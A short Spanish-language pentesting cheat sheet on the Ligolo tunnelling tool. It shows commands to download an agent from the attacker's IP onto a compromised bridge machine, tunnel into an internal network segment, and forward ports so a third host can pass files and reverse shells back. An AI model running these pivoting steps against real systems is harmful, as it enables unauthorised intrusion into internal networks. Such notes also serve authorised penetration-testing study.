🐇Ligolo
-------- gracias a @xerosec por la explicación de esta herramienta uwu -------
Preparativos
Crear interfaz de red modo tunnel
sudo ip tuntap add user $USER mode tun ligolo
# levantamos la interfaz
sudo ip link set ligolo upAñadir route hacia el segmento de red objetivo a través del dispositivo de red ligolo
sudo ip route add <segmento/x> dev ligoloPivoting
Activar el proxy en máquina atacante
chmod +x proxy
./proxy -selfcertTransferir agent a la máquina puente
cd /tmp
wget http://<IPa>/agent # transferimos agent
chmod +x agentConectar máquina puente a máquina atacante
./agent -connect <IPa>:<ligolo-port> -ignore-certEstablecer tunnel desde máquina atacante
session
# seleccionar número sesión en caso de existir varias
start
ping <IP> # comprobamos alcance a tercera máquinaPort Forwarding
Pese a que nosotros tenemos alcance con la tercera máquina mediante este tunnel, la tercera máquina no puede alcanzar nuestra máquina atacante. Esto nos limitaría a la hora de transferir archivos y recibir conexiones (reverse shells)
Añadir listener para redirigir flujo de puertos
listener_add --addr  --to 127.0.0.1:80
listerner_listYa podríamos usar el puerto de la máquina puente para transferir archivos a nuestra máquina atacante desde la tercera máquina.
Última actualización
